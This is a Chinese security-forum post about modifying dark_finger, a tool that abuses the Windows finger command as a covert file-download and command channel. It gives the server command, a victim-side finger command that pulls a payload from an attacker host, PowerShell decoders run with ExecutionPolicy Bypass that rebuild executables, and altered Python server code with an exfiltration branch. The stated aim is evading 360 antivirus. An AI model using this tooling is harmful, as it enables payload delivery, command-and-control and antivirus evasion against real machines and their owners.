dark_finger二开
Arcueid 发表于 浙江 安全工具 363浏览 · 2024-10-19 07:26

dark_finger二开

前言

fingerwindows提供的一个命令行工具 用于显示用户信息 可以指定主机 例如以下命令

finger user1@users.microsoft.com

在计算机 users.microsoft.com 上显示user1 的信息

dark_finger是hyp3rlinx师傅写的一个基于fingerC2(这是dark_finger帮助中写的 实际上算是poc)

截至2024年10月19日 finger对于360依旧是免杀的

项目开源在 https://github.com/Arcueld/dark_finder

使用与分析

poc和介绍可以从https://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt

先说使用方法

dark_finger提供了一个基于finger的文件下载服务 服务端命令如下

python dark_finger.py -d -c finger.conf -p 79

-c 指定配置文件

-p 指定监听端口 端口需要在allowed_ports之内

-d 删除配置文件生成的文件 需要同时指定-c [config]

其中配置文件的作用就是创建一个base64编码的文件 配置文件的内容就是文件名

这里我们尝试远程下载一个calc.exe poc就提供了两个 补一个

calc = downloads_dir+"\\ca.txt"              #Base64 encoded Calc

finger.conf内容为

calc.exe

同目录下存在calc.exe 在启动服务端之后会在同目录创建一个Darkfinger_Downloads目录 其中是配置文件中指定文件的base64编码字符串 命名格式为文件名前两个字符+.txt

服务端运行

finger ca10@192.168.45.1 | more +2 > calc.txt

运行后 base64编码的calc就下载到本地了 解码要用到certutil 会被拦截 这也就是我们要二开的点

二开

删除base64相关逻辑 换hex

首先是解决这个编码问题 直接转16进制 16进制可以用powershell解码 360不拦截

param(
    [string]$inputFile,
    [string]$outputFile
)

$hexString = Get-Content $inputFile -Raw
$hexString = $hexString -replace '\s+', ''

$byteList = New-Object System.Collections.Generic.List[byte]

for ($i = 0; $i -lt $hexString.Length; $i += 2) {
    $byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
    $byteList.Add($byte)
}

[System.IO.File]::WriteAllBytes($outputFile, $byteList.ToArray())
powershell -ExecutionPolicy Bypass -File decode.ps1 calc.txt calc.exe

修改参数解析逻辑

直接使用完整文件名而不是缩写 延时用:分割

def finga_that_box(cmd, victim):
    # 命令格式为 'filename:delay',例如 'calc:10'
    cmd = cmd.rstrip()

    # 如果命令中包含延迟的定义
    if ':' in cmd:
        filename, delay = cmd.split(':')
        delay = int(delay)  # 将延迟转为整数
    else:
        filename = cmd
        delay = 1  # 如果没有指定延迟,使用默认值 1 秒

    # 匹配文件名
    if filename == "calc":
        print("[+] Serving calc.exe")
        sys.stdout.flush()
        return calc, delay  # 返回文件名和延迟时间

    if filename[:1] == ".":
        print(f"[+] Exfil from: {victim[0]} {filename[1:]}")
        sys.stdout.flush()

    return False, delay  # 返回延迟,即使没有文件传输

自动匹配 不需要手动添加文件

# 获取下载目录中的所有可用文件
def get_available_files():
    try:
        return {f[:-4]: os.path.join(downloads_dir, f) for f in os.listdir(downloads_dir) if f.endswith('.exe')}
    except Exception as e:
        print(f"[!] Error reading available files: {str(e)}")
        return {}
def finga_that_box(cmd, victim):
    # 命令格式为 'filename:delay',例如 'calc:10'
    cmd = cmd.rstrip()
    available_files = get_available_files()  # 获取所有可用文件
    print(available_files)

    # 如果命令中包含延迟的定义
    if ':' in cmd:
        filename, delay = cmd.split(':')
        delay = int(delay)  # 将延迟转为整数
    else:
        filename = cmd
        delay = 1  # 如果没有指定延迟,使用默认值 1 秒


    # 匹配文件名
    if filename in available_files:
        print(f"[+] Serving {filename}.exe")
        sys.stdout.flush()
        return available_files[filename], delay  # 返回对应文件路径和延迟时间

    if filename[:1] == ".":
        print(f"[+] Exfil from: {victim[0]} {filename[1:]}")
        sys.stdout.flush()

    return False, delay  # 返回延迟,即使没有文件传输

设置延迟的目的是确保文件完整传输 当所需传输文件较大时 延迟给大一点 10M 要30s差不多

效果

大文件就不要去more了 直接在解码的时候忽略前两行

param(
    [string]$sourceFile,
    [string]$destinationFile
)

$lines = Get-Content $sourceFile
$hexString = ($lines[2..$lines.Length] -join '' -replace '\s+', '')
$byteList = New-Object System.Collections.Generic.List[byte]

for ($i = 0; $i -lt $hexString.Length; $i += 2) {
    if ($i + 1 -lt $hexString.Length) {
        $byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
        $byteList.Add($byte)
    } 
}


[System.IO.File]::WriteAllBytes($destinationFile, $byteList.ToArray())

完整代码

https://github.com/Arcueld/dark_finder

参考

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/finger

https://lolbas-project.github.io/lolbas/Binaries/Finger/

https://x.com/DissectMalware/status/997340270273409024

https://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt

0 条评论
某人
表情
可输入 255